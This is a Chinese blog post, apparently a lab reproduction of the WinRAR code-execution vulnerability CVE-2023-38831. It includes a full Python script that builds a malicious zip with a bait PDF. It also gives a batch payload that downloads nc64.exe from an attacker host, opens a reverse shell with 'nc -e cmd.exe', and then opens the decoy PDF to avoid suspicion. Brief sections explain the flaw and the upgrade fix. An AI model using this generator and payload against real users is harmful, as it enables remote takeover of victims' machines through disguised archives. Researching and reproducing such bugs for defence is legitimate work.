WinRAR代码执行漏洞复现

一、漏洞介绍

WinRAR是一款文件压缩器,该产品支持RAR、ZIP等格式文件的压缩和解压等。WinRAR在处理压缩包内同名的文件与文件夹时代码执行漏洞,攻击者构建由恶意文件与非恶意文件构成的特制压缩包文件,诱导受害者打开此文件后,将在受害者机器上执行任意代码。

RARLabs WinRAR 6.23之前版本存在安全漏洞,攻击者利用该漏洞可以执行任意代码。

漏洞触发主要分成两个环节:

1、点击诱饵文件时同名文件夹下的文件被释放
2、执行文件时执行文件夹下的 .cmd文件而不是原文件

二、漏洞检测

1、准备文件需要执行的命令【打开计算器】

后面的命令为打开诱导文件【防止用户怀疑】

修改后缀名为.bat

2、准备恶意脚本cve-2023-38831-exp-gen.py【github下载后修改】
import shutil
import os, sys
from os.path import join
TEMPLATE_NAME = "TEMPLATE"
OUTPUT_NAME = "poc.zip"

BAIT_NAME = "hushuo_demo.pdf"
SCRIPT_NAME = "script.bat"

if len(sys.argv) > 3:
    BAIT_NAME = os.path.basename(sys.argv[1])
    SCRIPT_NAME = os.path.basename(sys.argv[2])
    OUTPUT_NAME = os.path.basename(sys.argv[3])
elif len(sys.argv) == 2 and sys.argv[1] == "poc":
    pass
else:
    print("""Usage:
          python .\make.py poc
          python .\make.py <BAIT_NAME> <SCRIPT_NAME> <OUTPUT_NAME>""")
    sys.exit()

BAIT_EXT = b"." + bytes(BAIT_NAME.split(".")[-1], "utf-8")

print("BAIT_NAME:", BAIT_NAME)
print("SCRIPT_NAME:", SCRIPT_NAME)
print("OUTPUT_NAME:", OUTPUT_NAME)

if os.path.exists(TEMPLATE_NAME):
    shutil.rmtree(TEMPLATE_NAME)
os.mkdir(TEMPLATE_NAME)
d = join(TEMPLATE_NAME, BAIT_NAME + "A")
if not os.path.exists(d):
    os.mkdir(d)

shutil.copyfile(join(SCRIPT_NAME), join(d, BAIT_NAME+"A.cmd"))
shutil.copyfile(join(BAIT_NAME), join(TEMPLATE_NAME, BAIT_NAME+"B"))

# if os.path.exists(OUTPUT_NAME):
#     print("!!! dir %s exists, delete it first" %(OUTPUT_NAME))
#     sys.exit()

shutil.make_archive(TEMPLATE_NAME, 'zip', TEMPLATE_NAME)

with open(TEMPLATE_NAME + ".zip", "rb") as f:
    content = f.read()
    content = content.replace(BAIT_EXT + b"A", BAIT_EXT + b" ")
    content = content.replace(BAIT_EXT + b"B", BAIT_EXT + b" ")

os.remove(TEMPLATE_NAME + ".zip")

with open(OUTPUT_NAME, "wb")  as f:
    f.write(content)

print("ok..")

3、准备诱导文件hushuo_demo.pdf

4、运行脚本生成恶意压缩包【.py+script.bat+hushuo_demo.pdf】

5、使用winrar打开压缩包,再双击诱导文件【打开计算器则成功】

三、漏洞利用

1、kali启动http服务【将nc64.exe在此目录下】

python -m http.server

2、kali启动端口监听【4444】

3、本地POC文件制作

(1)hushuo_demo.pdf 诱导文件

(2)script.bat 脚本内容:

curl http://192.168.31.30:8000/nc64.exe -O nc64.exe & nc64.exe 192.168.31.30 4444 -e cmd.exe -d & hushuo_demo.pdf

(3)make.py 脚本内容:

4、运行脚本

5、在winRAR(<=6.23)中打开POC文件

双击普通文件,漏洞触发(运行script..bat内容、下载nc64.exe、建立反弹连接)

查看监听端口【漏洞触发】

四、漏洞原理

1、当受害者尝试打开存档文件中的"hushuo_demo.pdf"时,WinRAR会比较存档中的所有文件以查找与"hushuo_demo.pdf"同名的文件/目录

2、如果存在与"hushuo_demo.pdf"同名的目录,WinRAR则会继续检查"hushuo_demo.pdf/"目录下的文件

【文件夹后面有空格,win识别时不读取空格,所以认定为同名文件】

3、如果"hushuo_demo.pdf/"目录下同样存在文件名为"hushuo_demo.pdf"的文件则将"hushuo_demo.pdf/"目录下"hushuo_demo.pdf"文件放入提取列表中

【恶意文件后缀为.pdf.cmd,win识别时只读取第一个. (截断) 所以认定为同名文件】

4、最终导致压缩包中的hushuo_demo.pdf .cmd被解压出来,并且运行

【需要使用恶意脚本make.py 是因为正常windows无法做到同名文件/文件夹同时存在,无法保存有空格的文件夹名字】

五、漏洞修复

升级WinRAR版本6.23及以上。

  • 22
    点赞
  • 23
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值